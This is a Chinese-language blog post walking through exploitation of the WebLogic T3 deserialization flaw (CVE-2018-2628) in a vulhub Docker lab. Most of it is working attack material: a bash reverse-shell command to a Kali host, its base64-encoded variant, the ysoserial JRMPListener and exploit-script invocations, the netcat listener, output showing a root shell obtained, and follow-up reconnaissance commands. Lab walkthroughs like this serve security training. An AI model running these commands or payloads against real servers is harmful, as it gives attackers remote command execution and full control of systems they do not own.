当前位置: 首页 > news >正文

【weblogic】协议反序列化漏洞

      WebLogic 控制台默认开放的 ​​7001 端口​​ 是攻击起点。该端口会默认开启 ​​T3 协议​​服务,这是 Oracle 为 WebLogic 定制的用于服务间通信的高性能协议。​

      T3 协议实现了 Java 的 ​​RMI(远程方法调用)​​ 机制,用于在 WebLogic 服务器与其他 Java 客户端之间传输序列化对象数据。问题在于,T3 协议在处理这些数据时,会对其进行​​反序列化​​操作。

      漏洞的核心在于,WebLogic 的 ​​WLS核心组件​​ 在反序列化由 T3 协议传输的数据时,没有进行充分的安全校验。这个反序列化过程的缺陷是触发漏洞的根本原因。​

       攻击者可以精心构造恶意的 T3 协议数据包,并发送至目标的 7001 端口。当 WebLogic 服务器接收到这些数据并尝试反序列化时,就会执行其中嵌入的​​恶意代码​​。成功利用此漏洞,攻击者可以直接在目标服务器上获得执行命令的权限,从而完全控制服务器。

登录虚拟机启动docker和启动相关靶场

[root@localhost ~]systemctl start docker 
[root@localhost ~]cd /var/local/soft/vulhub-master/weblogic
[root@localhost weblogic]ls
CVE-2017-10271  CVE-2018-2894   CVE-2023-21839  weak_password
CVE-2018-2628   CVE-2020-14882  ssrf
[root@localhost weblogic]cd CVE-2018-2628 
[root@localhost CVE-2018-2628]docker-compose up -d
[+] Running 2/2✔ Network cve-2018-2628_default       Created                                             0.7s ✔ Container cve-2018-2628-weblogic-1  Started                                             3.0s 
[root@localhost CVE-2018-2628]# 

1. ​​Bash反弹Shell命令​​,用于建立从目标主机到攻击机的反向TCP连接。

bash -i >& /dev/tcp/192.168.142.162/7777 0>&1

部分

作用

技术细节

bash -i

启动交互式Bash

-i参数表示交互模式(Interactive)

>&

合并输出流

将标准输出(stdout)和标准错误(stderr)合并

/dev/tcp/192.168.142.162/7777

建立TCP连接

Bash内置功能,无需实际文件,直接创建TCP套接字

0>&1

重定向输入流

将标准输入(stdin)重定向到标准输出(即TCP连接)

用反弹连接base64 payload生成工具,生成

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xNjIvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

需要用到ysoserial.jar包和命令:(ip是自身作为攻击机的ip)

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8761
CommonsCollections1“bash -i >& /dev/tcp/192.168.142.135/7777 0>&1”

部分

作用

java -cp ysoserial.jar

使用 Java 运行 ysoserial 工具包

ysoserial.exploit.JRMPListener

启动 JRMP(Java Remote Method Protocol)监听服务

8761

监听的端口号(可自定义)

CommonsCollections1

使用的反序列化利用链(Payload)

"bash -i >& /dev/tcp/192.168.142.162/7777 0>&1"

要在目标服务器上执行的反弹 Shell 命令

拼接成以下这段话,只要有服务器连8761端口,就会建立反弹连接

启动第二个kali终端,接收来自目标系统的连接,等待目标服务器主动连接回来(反向 Shell)

开启第三个kali终端,该目录下执行

python2 cve-2018-2628-exp.py 192.168.142.133 7001 ysoserial.jar
192.168.142.162 8761 JRMPClient

参数

作用

cve-2018-2628-exp.py

-

漏洞利用脚本(用于触发WebLogic反序列化漏洞)

​目标IP​

192.168.142.133

存在漏洞的WebLogic服务器IP地址(我这里是centos)

​目标端口​

7001

WebLogic默认的T3协议端口

​ysoserial路径​

ysoserial.jar

反序列化攻击工具包路径

​攻击机IP​

192.168.142.162

运行JRMPListener的Kali攻击机IP

​JRMP端口​

8761

攻击机监听的JRMP服务端口

​Payload类型​

JRMPClient

指定使用JRMP协议的反序列化攻击载荷

kali1回显

┌──(root?kali)-[~/weblogic-exp]
└─# java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8761 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzUvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"
* Opening JRMP listener on 8761
Have connection from /192.168.142.131:54796
Reading message...
Is DGC call for [[0:0:0, 172791725]]
Sending return with payload for obj [0:0:0, 2]
Closing connection
Have connection from /192.168.142.131:54798
Reading message...
Is DGC call for [[0:0:0, 172791725]]
Sending return with payload for obj [0:0:0, 2]
Closing connection
Have connection from /192.168.142.131:54804
Reading message...
Is DGC call for [[0:0:0, 172791725]]
Sending return with payload for obj [0:0:0, 2]
Closing connection
Have connection from /192.168.142.131:54808
Reading message...
Is DGC call for [[0:0:0, 172791725]]
Sending return with payload for obj [0:0:0, 2]
Closing connection

kali2回显

┌──(root㉿kali)-[~]
└─# nc -lvp 7777            
listening on [any] 7777 ...
192.168.142.131: inverse host lookup failed: Unknown host
connect to [192.168.142.135] from (UNKNOWN) [192.168.142.131] 53646
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@9e33f190c7df:~/Oracle/Middleware/user_projects/domains/base_domain# 

目标服务器成功反弹 Shell 到 7777 端口,获得了目标服务器的 Shell 控制权​

现在可以在这个 Shell 中执行以下命令:

​信息收集命令​

# 查看系统信息 uname -a cat /etc/issue

# 查看网络配置 ip addr netstat -tulnp

# 查看进程和服务 ps aux

kali3回显

┌──(root㉿kali)-[~/weblogic-exp]
└─# python2 cve-2018-2628-exp.py 192.168.142.131 7001 ysoserial.jar 192.168.142.135 8761 JRMPClient
handshake successful
send request payload successful,recv length:1690
command: java -jar ysoserial.jar JRMPClient 192.168.142.135:8761 > payload.out
payload: aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707738000a556e6963617374526566000f3139322e3136382e3134322e31333500002239ffffffff92a70d3500000000000000000000000000000078

   这里看到与目标WebLogic服务器建立连接,恶意载荷已发送并收到响应,成了完整的JRMPClient反序列化数据。

http://www.dtcms.com/a/553709.html

相关文章:

  • LeetCode 287. 寻找重复数
  • C#理论学习-WinForm实践开发教程总结
  • 深入浅出 ES Module
  • 深度学习专题:模型训练的数据并行(二)
  • 企业网站建设方案新闻网站购买域名
  • C++ STL 有序关联容器高频面试题解析
  • 腾讯风铃怎么做网站成都哪家做网站
  • 二叉树核心算法分类精讲:选择、遍历与结构关系
  • 【人工智能系列:走近人工智能05】基于 PyTorch 的机器学习开发与部署实战
  • Arbess零基础学习,创建第一条流水线
  • Linux DNS 深度解析与最佳实践
  • RGB转换为NV12,查表式算法
  • PostIn零基础学习,创建第一个项目
  • 百度网站优化排行做响应式网站应该注意什么
  • 女生化妆品网站建设规划书该网站的域名为
  • 基于NvVideoEncoder的H265视频编码器
  • 淄博网站快照优化公司html5开发网站
  • 厦门门户网站制作服务商保健品商城网站模板
  • day61-devops
  • 【代码随想录算法训练营——Day54】并查集——107.寻找存在的路线
  • 用「费曼-神经耦合学习法」21天攻克算法
  • VScode C/C++环境配置
  • 禁用vscode的任务结束提示
  • 做网站接单的网站公司做网站哪个好
  • 轻量实用的 XML 与 JSON / 对象互转工具类(Jackson 实现)
  • Go Web 编程快速入门 19 - 附录C:事务与 CRUD(含最佳实践)
  • SQL Server从Enterprise CAL到Core版升级全记录:解锁160核心性能的完整复盘与深刻反思
  • 网站建设和管理培训自建服务器做网站要备案
  • ArkTS 第一课:从零开始学鸿蒙应用开发
  • 做门户网站代码质量方面具体需要注意什么厦门网页制作设计营销